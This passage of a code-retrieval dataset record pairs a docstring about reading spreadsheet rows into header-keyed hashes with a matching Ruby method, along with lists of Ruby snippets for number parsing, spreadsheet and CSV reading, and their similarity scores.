number_array.length - decimal_position -1\n\n total = total * 10**(0-power)\n\n end\n\n return total.to_f\n\nend", "def parse_value value\r\n case value\r\n when /\\d+/\r\n value.to_f\r\n else\r\n value\r\n end\r\n end", "def numeric?(string)\n Float(string) != nil rescue false\n end", "def to_number(value)\n return value.to_i unless value =~ /\\./\n return value.to_f if value =~ /\\./ \n end", "def categorize_number(num)\n case num\n when Fixnum then 'fixed number!'\n when Float then 'floating point!'\n end\nend", "def convert_float(str)\n return nil if !str\n str.gsub! /[^0-9.]/, \"\"\n neg = str.match /\\((.*?)\\)/\n float = str.to_f\n neg ? -float : float\n end", "def convert_value_by_type\n case self.value_type\n when 'Numeric'\n unless self.multiplier.nil? || self.multiplier.blank?\n val = self.value.include?('.') ? self.value.to_f : self.value.to_i\n return val.send(self.multiplier.to_sym)\n else\n return self.value.to_f\n end\n when 'Boolean'\n return self.value == '1'\n else\n return self.value\n end\n end", "def is_numeric?(s)\n !!Float(s) rescue false\n end", "def is_numeric?(s)\n !!Float(s) rescue false\n end", "def number_to_human_size(number, options = {})\n SitemapGenerator::Utilities.symbolize_keys!(options)\n\n number = begin\n Float(number)\n rescue ArgumentError, TypeError\n if options[:raise]\n raise InvalidNumberError, number\n else\n return number\n end\n end\n\n defaults = {\n :separator => \".\",\n :delimiter => \",\",\n :precision => 3,\n :significant => false,\n :strip_insignificant_zeros => false\n }\n human = {\n :delimiter => \"\",\n :precision => 3,\n :significant => true,\n :strip_insignificant_zeros => true\n }\n defaults = defaults.merge(human)\n options = SitemapGenerator::Utilities.reverse_merge(options, defaults)\n #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files\n options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)\n\n storage_units_format = \"%n %u\"\n\n if number.to_i < 1024\n unit = number.to_i > 1 || number.to_i == 0 ? 'Bytes' : 'Byte'\n storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit)\n else\n max_exp = STORAGE_UNITS.size - 1\n exponent = (Math.log(number) / Math.log(1024)).to_i # Convert to base 1024\n exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit\n number /= 1024 ** exponent\n\n unit_key = STORAGE_UNITS[exponent]\n units = {\n :byte => \"Bytes\",\n :kb => \"KB\",\n :mb => \"MB\",\n :gb => \"GB\",\n :tb => \"TB\"\n }\n unit = units[unit_key]\n formatted_number = number_with_precision(number, options)\n storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit)\n end\n end", "def to_float(string)\n string.to_f\n rescue\n 0.0\n end", "def numeric(key, options = {})\n before_all(key, options)\n match?(key, /\\A([+-]?\\d+)([,.](\\d+))?\\Z/) ? store_decimal(key, ->(item){item.to_s.sub(/,/, \".\").to_f}, options) : raise_type_error(key, \"Numeric\")\n end", "def cast_value(value)\n case value_type\n when 'integer' then value.to_i\n when 'float' then value.to_f\n when 'string' then value.to_s\n else raise_invalid_type\n end\n end", "def is_a_number?(s)\n s.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true\n end", "def is_a_number?(s)\n s.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true\n end", "def get_numeric(value)\n value.to_s.gsub(/(?<val>[0-9\\.]+e-?)(?<exp>[0-9]+)/) { |m|\n arr = m.split(/e/)\n if arr[1][0] =~ /[0-9]/\n \"#{arr[0]}e#{arr[1].rjust(3,'0')}\"\n else\n \"#{arr[0]}e#{arr[1][0]}#{arr[1][1..-1].rjust(3,'0')}\"\n end\n }.to_s\n end", "def modify(cost)\n answer = ''\n if cost == cost.to_f || cost == cost.to_i\n return cost\n else \n cost = cost.to_s\n arr = cost.split('.')\n arr[0].each_char do |c|\n if isNum?(c) \n answer += c.to_s\n end\n end\n end\n return answer.to_i + arr[1].to_i.round(2)* 0.01\nend", "def get_input_type(val)\n if val =~ /^[-+]?[0-9]*\\.[0-9]+$/ # float\n return 'f', val.to_f\n elsif val =~ /^[-+]?[0-9]+$/ #integer\n return 'i', val.to_i\n elsif val.nil?\n return nil, nil\n else\n return 's', val #if not int, float or nil I will just call it a string\n end\nend", "def is_numeric?(s)\n begin\n Float(s)\n rescue\n false # not numeric\n else\n true # numeric\n end\nend", "def numeric?(str)\n !str.to_s.match(/^-?[\\d.]+$/).nil?\n # str.to_i.to_s == str\nend", "def atof(s)\n sep = s.split('.')\n\n integer = atoi(sep[0]) # convert integer to int\n mantissa = atoi(sep[1]) # convert mantissa to int\n neg = false\n\n # Remember if float is negative\n if integer < 0 \n neg = true\n integer = integer.abs\n end\n\n mantissaLength = sep[1].length\n place = 10.0 ** mantissaLength\n\n sum = integer / 1.0 # convert integer to float\n\n # Add the mantissa to the integer\n for i in 0..mantissaLength-1\n tmp = (mantissa % 10)/place\n sum += tmp\n place /= 10.0\n mantissa /= 10\n end\n\n sum = neg ? -sum : sum # Make number negative if necessary\n\n # Fix funky float operations\n return (sum*(10**mantissaLength)).round / (10.0 ** mantissaLength)\nend", "def extractNumber str\n match = STDNUMPAT.match str\n return nil unless match\n return (match[1].gsub(/\\-/, '')).upcase\n end", "def convertsize(str)\n\t\t\t\tif(str.kind_of?(Numeric))\n\t\t\t\t\treturn(str)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tstr.strip!()\n\t\t\t\tregex = /^([0-9]+(?:\\.[0-9]+)?)\\s*([gmk])b?$/i\n\t\t\t\tmatch = regex.match(str)\n\t\t\t\tif(match == nil)\n\t\t\t\t\traise(ArgumentError, \"Unable to parse size of \\\"#{str}\\\"\")\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tsize = match[1].to_f()\n\t\t\t\t\n\t\t\t\tcase(match[2].downcase())\n\t\t\t\twhen('g')\n\t\t\t\t\tsize = size * 1024 * 1024 * 1024\n\t\t\t\twhen('m')\n\t\t\t\t\tsize = size * 1024 * 1024\n\t\t\t\twhen('k')\n\t\t\t\t\tsize = size * 1024\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn(size)\n\t\t\tend", "def convert(num)\n return num.to_s\nend", "def param_to_number(v, consts_mgr = @consts_mgr)\n if v.class == NilClass then\n return 0\n elsif v.kind_of? Integer then\n return v # ok, it's already a number\n elsif v.kind_of? String then\n dw = consts_mgr.parse(v) # might raise an exception\n if dw != nil\n return dw\n else\n raise ArgumentError, \"Param #{v} (class #{v.class}) cannot be converted to a number. It's a string but matches no constants I know.\"\n end\n else\n raise \"Param #{v} (class #{v.class}) should be a number but isn't\"\n end\n end", "def is_a_number?(s)\n s.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true \n end", "def is_a_number?(s)\n s.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true \n end", "def number?(obj)\n obj = obj.to_s unless obj.is_a? String\n /\\A[+-]?\\d+(\\.[\\d]+)?\\Z/.match obj\nend", "def to_float(value)\n return value.to_f if value.is_a?(Numeric)\n value = value.to_s if value.is_a?(Symbol)\n value.to_f if value.is_a?(String) && value.match?(NUMBER_PATTERN)\n end", "def int_or_float(num)\n return num.include?(\".\") ? num.to_f : num.to_i\nend", "def convert_to_data_type_from_string(type, value)\n case type\n when \"boolean\"\n # Since we've determined this is a boolean data type, we can assume that:\n # If the value as an int is 1, return true\n # If the value as an int is 0 (not 1), return false\n value.to_i == 1\n when \"integer\"\n value.to_i\n when \"float\"\n value.to_f\n when \"string\", \"dictionary\"\n value\n when nil\n \"\"\n else\n raise \"Unknown or unsupported data type: #{type.class}\"\n end\n end", "def convert_tok(token)\n\t\tif token.to_i.to_s == token\n\t\t\treturn Integer(token)\n\t\telsif token.to_f.to_s == token\n\t\t\treturn Float(token)\n\t\telse\n\t\t\ttoken.to_sym\n\t\tend\n\tend" ]
[ "0.72345346", "0.692932", "0.6904537", "0.68334144", "0.6781501", "0.67192346", "0.66544014", "0.66154766", "0.65227914", "0.65227914", "0.65227914", "0.65227914", "0.65222204", "0.65026057", "0.6499859", "0.64872915", "0.6395673", "0.63723105", "0.62653464", "0.6240222", "0.62249416", "0.62152016", "0.6199824", "0.61980903", "0.61861163", "0.61861163", "0.61801684", "0.61728233", "0.6157904", "0.614914", "0.61124367", "0.60861546", "0.6048894", "0.60484594", "0.6003906", "0.5966857", "0.59620315", "0.59570056", "0.5955895", "0.5955895", "0.59144586", "0.58841544", "0.5883952", "0.5839357", "0.58240265", "0.58229184", "0.58213234", "0.5812907", "0.5812034", "0.5802212", "0.5797189", "0.57758045", "0.5760159", "0.5759378", "0.57567596", "0.57394284", "0.5738819", "0.5699781", "0.56916887", "0.5686457", "0.5686276", "0.567965", "0.5672135", "0.567206", "0.56650907", "0.56580365", "0.5656559", "0.56550026", "0.56500465", "0.5643976", "0.5643503", "0.56433105", "0.5637306", "0.5615121", "0.5602128", "0.5585632", "0.55718005", "0.5554289", "0.5552529", "0.5531634", "0.55273306", "0.5525735", "0.5525735", "0.5523084", "0.5501937", "0.54999393", "0.5496509", "0.5474398", "0.5471801", "0.5470659", "0.5464821", "0.5463736", "0.54423934", "0.5430478", "0.5430478", "0.5429688", "0.54267037", "0.5426275", "0.54254705", "0.54241157" ]
0.70352906
1
Read the sheet, and return each nonheader row to the passed block. This first reads the headers and cleans them up (see "read_headers"). When each row is read, the values are stored in a hash with the cleaned up column names as keys. If a method exists called "method_", this is used to convert the value. Spreadsheet seems to convert floats but dates are returned as Excel serial values.
def read(&blk) ## Preconditions: # NOTE: you can't grab a row or just read a line in roo, you have to ask # about the bounds and explcitly iter over the cell contents. row_start = @wbook.first_row row_stop = @wbook.last_row col_start = @wbook.first_column col_stop = @wbook.last_column if row_start != 1 raise RuntimeError, "data must start on the first row not #{row_start}" end if col_start != 1 raise RuntimeError, "data must start in the first column not #{col_start}" end # Main: # grab and parse headers headers = read_headers(col_stop) # read each row (2..row_stop).each { |i| row_data = (1..col_stop).collect { |j| @wbook.cell(i,j) } row_zip = headers.zip(row_data).flatten() row_hash = Hash[*row_zip] row_hash.each_pair { |k,v| meth_name = "convert_#{k}" if (self.respond_to?(meth_name)) row_hash[k] = self.send(meth_name, v) else row_hash[k] = convert(v) end } blk.call(row_hash) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def read(&blk)\r\n\t\t\t## Preconditions:\r\n\t\t\t# NOTE: you can't grab a row or just read a line in roo, you have to ask\r\n\t\t\t# about the bounds and explcitly iter over the cell contents. \r\n\t\t\trow_start = @wbook.first_row\r\n\t\t\trow_stop = @wbook.last_row\r\n\t\t\tcol_start = @wbook.first_column\r\n\t\t\tcol_stop = @wbook.last_column\r\n\t\t\tif row_start != 1\r\n\t\t\t\traise RuntimeError, \"data must start on the first row not #{row_start}\"\r\n\t\t\tend\r\n\t\t\tif col_start != 1\r\n\t\t\t\traise RuntimeError, \"data must start in the first column not #{col_start}\"\r\n\t\t\tend \r\n\t\t\t# Main:\r\n\t\t\t# grab and parse headers\r\n\t\t\t@headers = read_headers(col_stop)\r\n\t\t\t# read each row\r\n\t\t\t(2..row_stop).each { |i|\r\n\t\t\t\trow_data = (1..col_stop).collect { |j| @wbook.cell(i,j) } \r\n\t\t\t\trow_zip = @headers.zip(row_data).flatten()\r\n\t\t\t\trow_hash = Hash[*row_zip]\r\n\t\t\t\trow_hash.each_pair { |k,v|\r\n\t\t\t\t\tmeth_name = \"convert_#{k}\"\r\n\t\t\t\t\tif (self.respond_to?(meth_name))\r\n\t\t\t\t\t\trow_hash[k] = self.send(meth_name, v)\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\trow_hash[k] = convert(v)\r\n\t\t\t\t\tend\r\n\t\t\t\t}\r\n\t\t\t\tblk.call(row_hash)\r\n\t\t\t}\r\n\t\tend", "def skip_headers\n return to_enum(:skip_headers) unless block_given?\n hr = sheet.header_rows\n if hr > 0\n @data[ 0..hr - 1 ] + yield( @data[ hr..-1 ] )\n else\n yield( @data )\n end \n end", "def read_rows\n line_no = 0\n\n @sheet.rows.each do |r|\n line_no += 1\n row = row_as_array(r)\n next if empty_row?(row)\n\n data = convert_row(row, line_no)\n yield data if block_given?\n end\n end", "def parse_with_block(&block)\n\n # if there is a valid column_mapping, then we need to change the mapped_header\n mapped_header = @headers\n if (@column_mapping.mapping)\n mapped_header = Array.new\n @column_mapping.mapping.each_with_index do |map, index|\n mapped_header[map] = @headers[index] if (map.is_a? Numeric)\n end\n end\n\n while (!((chunk = read_chunk).nil?))\n if (mapped_header.size == 0)\n block.call(@reader.getLineNumber(), @reader.getRowNumber(), format(chunk))\n else\n block.call(@reader.getLineNumber(), @reader.getRowNumber(), format(chunk),\n mapped_header)\n end\n end\n \n end", "def parse_xlsx\n 2.upto(@spreadsheet.last_row).each do |row_index|\n row = info_hash(row_index)\n \n unless row.nil?\n @data[row[:name]] ||= {\n code: row[:code],\n worlds: [],\n areas: [],\n positions: []\n }\n\n @data[row[:name]][:worlds] << row[:world] if !row[:world].blank? && !@data[row[:name]][:worlds].include?(row[:world])\n @data[row[:name]][:areas] << row[:area] if !row[:area].blank? && !@data[row[:name]][:areas].include?(row[:area])\n @data[row[:name]][:positions] << row[:position] if !row[:position].blank? && !@data[row[:name]][:positions].include?(row[:position])\n end\n end\n end", "def excel_calculate_sheet(sheet)\n excel_calculated_cells.clear\n\n # Iterate over the used range calculating each cell.\n # The result of each cell is then saved.\n data = []\n begin\n sheet.UsedRange.Rows.each do |row|\n data << row_data = []\n row.Cells.each do |cell|\n # Calculate the cell if required.\n excel_calculate_cell(cell) if cell.HasFormula\n # Get the un-formatted value of this field.\n value = cell.Value2\n row_data << value\n end\n end\n rescue\n @logger.error(format_exception)\n data << [\"#{$!.message} (#{$!.class.name})\"]\n data << [$!.backtrace.join(\"\\n\")]\n end\n # Return the 2d array with all the data.\n data\n end", "def read_cells(sheet=nil)\n sheet = @default_sheet unless sheet\n sheet_found = false\n raise ArgumentError, \"Error: sheet '#{sheet||'nil'}' not valid\" if @default_sheet == nil and sheet==nil\n raise RangeError unless self.sheets.include? sheet\n n = self.sheets.index(sheet)\n #TODO: @sheet_doc[n].find(\"//*[local-name()='c']\").each do |c|\n @sheet_doc[n].xpath(\"//*[local-name()='c']\").each do |c|\n #TODO: s_attribute = c.attributes.to_h['s'].to_i # should be here\n s_attribute = c['s'].to_i # should be here\n #TODO: if (c.attributes.to_h['t'] == 's')\n # c: <c r=\"A5\" s=\"2\">\n # <v>22606</v>\n # </c>, format: , tmp_type: float\n\n if c['t'] == 's'\n tmp_type = :shared\n #TODO: elsif (c.attributes.to_h['t'] == 'b')\n elsif c['t'] == 'b'\n tmp_type = :boolean\n else\n #s_attribute = c.attributes.to_h['s'].to_i # was here\n s_attribute = c['s'].to_i # was here\n format = attribute2format(s_attribute)\n tmp_type = format2type(format)\n end\n formula = nil\n #TODO: c.each_element do |cell|\n c.children.each do |cell|\n #TODO: if cell.name == 'f'\n if cell.name == 'f'\n formula = cell.content\n end\n #TODO: if cell.name == 'v'\n if cell.name == 'v'\n if tmp_type == :time or tmp_type == :datetime\n if cell.content.to_f >= 1.0 \n if (cell.content.to_f - cell.content.to_f.floor).abs > 0.000001 \n tmp_type = :datetime \n else\n tmp_type = :date\n end\n else\n end \n end\n excelx_type = [:numeric_or_formula,format.to_s]\n excelx_value = cell.content\n if tmp_type == :shared\n vt = :string\n str_v = @shared_table[cell.content.to_i]\n excelx_type = :string\n elsif tmp_type == :boolean\n vt = :boolean\n cell.content.to_i == 1 ? v = 'TRUE' : v = 'FALSE'\n elsif tmp_type == :date\n vt = :date\n v = cell.content\n elsif tmp_type == :time\n vt = :time\n v = cell.content\n elsif tmp_type == :datetime\n vt = :datetime\n v = cell.content\n elsif tmp_type == :formula\n vt = :formula\n v = cell.content.to_f #TODO: !!!!\n else\n vt = :float\n v = cell.content\n end\n #puts \"vt: #{vt}\" if cell.text.include? \"22606.5120\"\n #TODO: x,y = split_coordinate(c.attributes.to_h['r'])\n x,y = split_coordinate(c['r'])\n tr=nil #TODO: ???s\n set_cell_values(sheet,x,y,0,v,vt,formula,tr,str_v,excelx_type,excelx_value,s_attribute)\n end\n end\n end\n sheet_found = true #TODO:\n if !sheet_found\n raise RangeError\n end\n @cells_read[sheet] = true\n end", "def rows\n rows_to_skip = data_start_index\n cached_columns = columns\n\n Rximport.logger.info \"Parser: Reading rows in sheet #{sheet.name}, starting at row #{data_start_index + 1}\"\n\n data_rows = sheet.simple_rows.lazy\n .drop(rows_to_skip)\n .reject(&:blank?)\n .each_with_index\n .map { |r, idx| Row.new(cached_columns, r, idx + rows_to_skip, sheet.name) }\n\n data_rows.map do |row|\n if block_given?\n yield row\n else\n row\n end\n end\n end", "def spreadsheet_row\n fields = []\n fields << self.block.shop_order\n if self.block.shop_order == 111\n 5.times do\n fields << \"\"\n end\n else\n fields << self.block.customer_code\n fields << self.block.process_code\n fields << self.block.part_number\n fields << self.block.part_sub\n fields << self.block.part_name.join(\"\\n\")\n end\n fields << self.block.load\n fields << self.block.is_rework\n fields << self.block.is_early\n fields << self.block.is_strip\n fields << self.block.xray_id\n fields << self.block.application\n fields << self.block.directory\n fields << self.block.product\n fields << self.block.number\n if self.block.user\n fields << self.block.user.employee_number\n fields << self.block.user.name\n else\n fields << \"\"\n fields << \"\"\n end\n fields << self.reading_at.strftime(\"%m/%d/%Y\")\n fields << self.reading_at.strftime(\"%H:%M:%S\")\n fields << self.thickness\n if self.alloy.blank?\n fields << \"\"\n else\n fields << self.alloy\n end\n fields << self.x_coordinate\n fields << self.y_coordinate\n fields << self.z_coordinate\n return fields\n end", "def _each\n Engine.new(local_copy.encoded_io, csv_options.merge(headers: headers)).each do |row|\n\n some_value_present = false\n\n if not headers\n\n # represent the row as an array\n array = row.map do |v|\n v = RemoteTable.normalize_whitespace v\n if not some_value_present and not keep_blank_rows and v.present?\n some_value_present = true\n end\n v\n end\n if some_value_present or keep_blank_rows\n yield array\n end\n\n else\n\n # represent the row as a hash\n hash = ::ActiveSupport::OrderedHash.new\n row.each do |k, v|\n v = RemoteTable.normalize_whitespace v\n if not some_value_present and not keep_blank_rows and v.present?\n some_value_present = true\n end\n hash[k] = v\n end\n if some_value_present or keep_blank_rows\n yield hash\n end\n\n end\n end\n ensure\n local_copy.cleanup\n end", "def each(&block)\n worksheet.rows.each { |row| block.call(row.values) }\n end", "def each_row(options = {})\n return enum_for(:each_row, options) unless block_given?\n\n sheet = options[:sheet] || @default_sheet\n validate_sheet!(sheet)\n\n cell_sheet = @cell[sheet]\n build_rows = cell_sheet.empty?\n worksheet = @workbook.worksheet(sheet_no(sheet))\n worksheet.each_with_index(0) do |xml_row, row_index|\n row = Array.new(xml_row.size)\n (0...xml_row.size).each do |cell_index|\n key = [row_index + 1, cell_index + 1]\n # Grab our saved values if the cell has already been parsed\n if build_rows\n value_type, v = read_cell(xml_row, cell_index)\n font = xml_row.format(cell_index).font\n value = set_cell_values(sheet, key[0], key[1], 0, v, value_type, nil, nil, font)\n else\n value = row[cell_index] = cell_sheet.fetch(key, nil)\n end\n row[cell_index] = value\n end\n\n row.pop while options[:strip_nils] && row.last.nil? && !row.empty?\n yield row\n break if options[:max_rows] && row_index + 1 == options[:max_rows]\n end\n end", "def read\n puts \"[Info]: Data reading on progress...\"\n @lrow.times do |i|\n row_idx = i + 1\n next if row_idx <= @skiprows+1\n row_data = @sht.row(row_idx)\n row_dict = {}\n @headers.each_with_index do |h, j|\n temp_dict = { h => row_data[j] }\n @data_shtcols << row_data[j] if h == @shtcol\n row_dict.merge!(temp_dict)\n end\n @data << row_dict\n break if row_idx > @readrows\n end\n len_before = @data_shtcols.length\n @data_shtcols.uniq!\n len_after = @data_shtcols.length\n puts \"[Info]: Column data count=#{len_before} [Bef] #{len_after} [Aft]\"\n end", "def no_headers\n return @data unless sheet.header_rows\n @data[ sheet.header_rows..-1 ]\n end", "def each_row(&block)\n ::Enumerator.new { |enumerator|\n headers, eof = *self.read_headers\n\n until eof\n row, eof = *self.read_row\n\n unless eof\n enumerator << row\n end\n end\n }.each(&block)\n end", "def _each\n delete_harmful!\n convert_eol_to_unix!\n transliterate_whole_file_to_utf8!\n skip_rows!\n\n Engine.new(local_copy.encoded_io, csv_options).each do |row|\n\n some_value_present = false\n\n if not headers\n\n # represent the row as an array\n array = row.map do |v|\n v = v.to_s\n if not some_value_present and not keep_blank_rows and v.present?\n some_value_present = true\n end\n v\n end\n if some_value_present or keep_blank_rows\n yield array\n end\n\n else\n\n # represent the row as a hash\n hash = ::ActiveSupport::OrderedHash.new\n row.each do |k, v|\n next unless k.present?\n v = v.to_s\n if not some_value_present and not keep_blank_rows and v.present?\n some_value_present = true\n end\n hash[k] = v\n end\n if some_value_present or keep_blank_rows\n yield hash\n end\n\n end\n end\n ensure\n local_copy.cleanup\n end", "def read_sheet(fnarg_h={})\n if (!fnarg_h['ws'].is_a?(WIN32OLE))\n puts \"Err\",\"read_sheet: Worksheet is not WIN32OLE object \",fnarg_h['ws']\n return nil\n end\n ws=fnarg_h['ws']\n all = (fnarg_h['all']==nil) ? false : fnarg_h['all']\n all = true if ( !fnarg_h['r1'] and !fnarg_h['c1'] and !fnarg_h['r2'] and !fnarg_h['c2'] )\n r1=fnarg_h['r1'] || 1\n c1=fnarg_h['c1'] || 1\n r2=fnarg_h['r2']\n c2=fnarg_h['c2']\n\n res_aofa = Array.new\n begin # Exception processing\n if (all)\n res_aofa = ws.UsedRange.value\n else\n r1=1 if (!r1.is_a?(Integer) or (r1<1) )\n c1=1 if (!c1.is_a?(Integer)or (c1<1) )\n r2=ws.UsedRange.rows.count if (!r2.is_a?(Integer) or (r2<1) )\n c2=ws.UsedRange.columns.count if (!c2.is_a?(Integer) or (c2<1) )\n r1,r2=r2,r1 if ( r2<r1)\n c1,c2=c2,c1 if ( c2<c1)\n res_aofa = ws.range(ws.cells(r1,c1),ws.cells(r2,c2)).value\n end\n rescue\n Logger.msg(\"Err\", \"read_sheet: #{ws} reading excel sheet error #{$!}\")\n end\n return res_aofa\nend", "def read_block(data_rows, index, rows, heading=nil)\n #get the sub-heading name\n if heading == nil\n heading = Util.clean_ws( data_rows[index].at(\"td span\").to_plain_text() )\n #puts \"Heading: #{heading}\" \n end\n \n #puts heading\n rows.times { |i|\n #puts i\n cell_row = index+i+1\n #puts cell_row\n cells = data_rows[ cell_row ].search(\"td\")\n #get the field name\n field_name = Util.clean_ws( cells[0].to_plain_text() )\n if field_name != nil && field_name != \"?\"\n\n #puts field_name\n start = mission_start()\n \n for cell in cells[1..cells.length]\n #mission name \n name = \"Apollo #{start}\"\n #puts name\n #puts field_name\n mission = @missions[name] \n fields = mission[heading]\n if fields == nil\n fields = mission[heading] = Hash.new\n end\n \n fields[field_name] = Util.clean_ws( cell.to_plain_text() ) unless cell.to_plain_text() == \"---\" \n mission[heading] = fields\n start = start + 1\n end \n\n else\n $stderr.puts( \"Skipping row #{cell_row}\" ) \n end\n \n }\n \n end", "def read_cell(row, idx)\n return read_cell_date_or_time(row, idx) if date_or_time?(row, idx)\n\n cell = read_cell_content(row, idx)\n case cell\n when Integer, Fixnum, Bignum\n value_type = :float\n value = cell.to_i\n when Float\n value_type = :float\n value = cell.to_f\n when String, TrueClass, FalseClass\n value_type = :string\n value = normalize_string(cell.to_s)\n when ::Spreadsheet::Link\n value_type = :link\n value = cell\n else\n value_type = cell.class.to_s.downcase.to_sym\n value = nil\n end # case\n\n [value_type, value]\n end", "def read_cells(sheet = nil)\n sheet ||= @default_sheet\n return if @cells_read[sheet] && !@cells_read[sheet].empty?\n each_row(sheet: sheet).each { |_row| }\n\n @cells_read[sheet]\n end", "def get_response()\n # process excel - get the data segments - create hash with headers\n @data = {}\n\n sheet = @excel.sheet\n headers = []\n sheet.getRow(0).cellIterator.each do |h|\n headers << @excel.cell_value(h)\n @data[@excel.cell_value(h) ] = []\n end\n\n @excel.each_row do |row|\n row.cellIterator.each_with_index do |c, i|\n # N.B null row data can spill beyond the columns defined\n @data[headers[i]] << @excel.cell_value(c) if headers[i]\n end\n end\n @data\n end", "def headers\n return nil if sheet.header_rows.nil? || sheet.header_rows.zero?\n @data[ 0..sheet.header_rows-1 ]\n end", "def each\n @worksheet.rows.each { |row| yield row.values }\n end", "def load_data(row, columns, headers)\n #// HEADER EXCLUSION LIST:\n #// ----------------------\n exclusion_list = [\n 'Option_Types'\n ]\n attr_hash = {}\n exception_hash = {}\n sanitized_headers_array = []\n header_return_array = []\n \n for i in columns[0]..columns[1]\n exclusion_list.each do |exclusion|\n if headers[i] =~ /#{exclusion}/i\n exception_hash[exclusion] = row[i]\n elsif headers[i] == exclusion\n exception_hash[exclusion] = row[i]\n else\n attr_hash[headers[i]] = row[i] unless row[i].nil?\n sanitized_headers_array << headers[i]\n end\n end\n \n end\n header_return_array[0] = attr_hash\n header_return_array[1] = exception_hash\n header_return_array[2] = sanitized_headers_array\n return header_return_array\n end", "def clean_result_rows\n raise \"Missing data\" if result_rows.empty?\n result_rows.map do |result|\n next if is_header_row?(result) || is_bye_week?(result)\n result\n end.compact\n end", "def filter!( *headers )\n hrows = sheet.header_rows\n idx_array = headers.flatten.map { |header| index_by_header( header ) }.compact\n @data = @data.select.with_index { |row, i| hrows > i || yield( idx_array.length == 1 ? row[ idx_array[0] - 1 ] : idx_array.map { |idx| row[ idx -1 ] } ) }\n calc_dimensions\n end", "def call(sheet: 0, skiprows: 0, skipcols: 0, order: true, index: false)\n @order = order\n @index = index\n worksheet = @file_data.sheet(sheet)\n @data = strip_html_tags(skip_data(worksheet.to_a, skiprows, skipcols))\n @index = process_index\n @order = process_order || (0..@data.first.length-1)\n @data = process_data\n\n Daru::DataFrame.rows(@data, order: @order, index: @index)\n end", "def read_cells(sheet=nil)\n sheet = @default_sheet unless sheet\n raise RangeError, \"illegal sheet <#{sheet}>\" unless sheets.index(sheet)\n sheet_no = sheets.index(sheet)+1\n xml = @gs.fulldoc(sheet_no).to_s\n doc = XML::Parser.string(xml).parse\n doc.find(\"//*[local-name()='cell']\").each do |item|\n row = item['row']\n col = item['col']\n key = \"#{row},#{col}\"\n string_value = item['inputvalue'] || item['inputValue'] \n numeric_value = item['numericvalue'] || item['numericValue'] \n (value, value_type) = determine_datatype(string_value, numeric_value)\n @cell[sheet][key] = value unless value == \"\" or value == nil\n @cell_type[sheet][key] = value_type \n @formula[sheet] = {} unless @formula[sheet]\n @formula[sheet][key] = string_value if value_type == :formula\n end\n @cells_read[sheet] = true\n end", "def import_base\n CSV.foreach(@file.path, encoding: detect_encoding, headers: true) do |row|\n next if row.blank?\n yield ActiveSupport::HashWithIndifferentAccess.new(row)\n end\n end", "def extract_data(args = {})\n raw_values = args.delete(:raw) || false\n return @sheet_data.map {|row| row.map {|c| if c.is_a?(Cell) then c.value(:raw => raw_values) else nil end}}\n end", "def parse_headers(row = nil)\n if @headers.nil? # header row\n @headers = case @use_headers # save headers\n # Array of headers\n when Array then @use_headers\n # HBCSV header String\n when String\n self.class.parse_line( @use_headers,\n col_sep: @col_sep,\n row_sep: @row_sep,\n quote_char: @quote_char )\n # first row is headers\n else row\n end\n\n # prepare converted and unconverted copies\n row = @headers if row.nil?\n @headers = convert_fields(@headers, true)\n @headers.each { |h| h.freeze if h.is_a? String }\n\n if @return_headers # return headers\n return self.class::Row.new(@headers, row, true)\n elsif not [Array, String].include? @use_headers.class # skip to field row\n return shift\n end\n end\n\n self.class::Row.new(@headers, convert_fields(row)) # field row\n end", "def build_row_hash(row)\n if(!row.cells[0].value) # skip empty rows\n return nil # Skip row if no name or header\n elsif(row.cells[0].datatype == \"s\" && row.cells[0].value.match(/name|item|\\A\\D*\\Z/i))\n @errors << { :part_number => \"N/A\", :condition => \"N/A\", :message => \"Found and skipped excel header\" }\n return nil # Skip row if header\n end\n\n product_name = row.cells[0].value.to_s\n\n # If name is mopar part number\n if product_name.match(/^\\d{7}/)\n product_name = product_name[0,7]\n end\n\n # handle date formatting from excel\n if row.cells[1].value.is_a?(DateTime)\n my_category = row.cells[1].value.strftime(\"%-m-%-d\")\n else\n my_category = row.cells[1].value.to_s\n end\n\n @product_row = {\n :name => product_name,\n :category => my_category,\n :description => (row.cells[2] ? row.cells[2].value.tr('***', '').chomp('-') : ''),\n :meta_keywords => (row.cells[3] ? row.cells[3].value : ''),\n :price => (row.cells[9] ? row.cells[9].value : 0),\n :core => (row.cells[10] ? row.cells[10].value : 0),\n :cost => (row.cells[15] ? row.cells[15].value : 0),\n :vendor => (row.cells[16] ? row.cells[16].value : ''),\n :vendor_price => (row.cells[17] ? row.cells[17].value : 0),\n :vendor_part_number => (row.cells[18] ? row.cells[18].value : ''),\n :length => (row.cells[19] ? row.cells[19].value : ''),\n :width => (row.cells[20] ? row.cells[20].value : ''),\n :height => (row.cells[21] ? row.cells[21].value : ''),\n :weight => (row.cells[22] ? row.cells[22].value : ''),\n :notes => (row.cells[12] ? row.cells[12].value : ''),\n :application => (row.cells[4] ? row.cells[4].value : ''),\n :location => (row.cells[5] ? row.cells[5].value : ''),\n :condition => (row.cells[6] ? row.cells[6].value : ''),\n :cross_ref => (row.cells[7] ? row.cells[7].value : ''),\n :cast_num => (row.cells[8] ? row.cells[8].value : ''),\n :available => (row.cells[13] ? row.cells[13].value : 'N'), # for sale? (count in inventory)\n :active => (row.cells[14] ? row.cells[14].value : 'FALSE'), # active (visible to users)\n :quantity => (row.cells[11] ? row.cells[11].value : 0),\n :package => (row.cells[23] ? row.cells[23].value : '')\n }\n\n end", "def convert_single_row(sheet_data, row)\r\n col = 0\r\n @test_data[row[0].value] = {}\r\n until sheet_data[0][col += 1].nil? do\r\n convert_single_cell(sheet_data, row, col)\r\n end\r\n end", "def flat_map_rows(row)\n # match student by id first, fall back to name\n local_id_text = 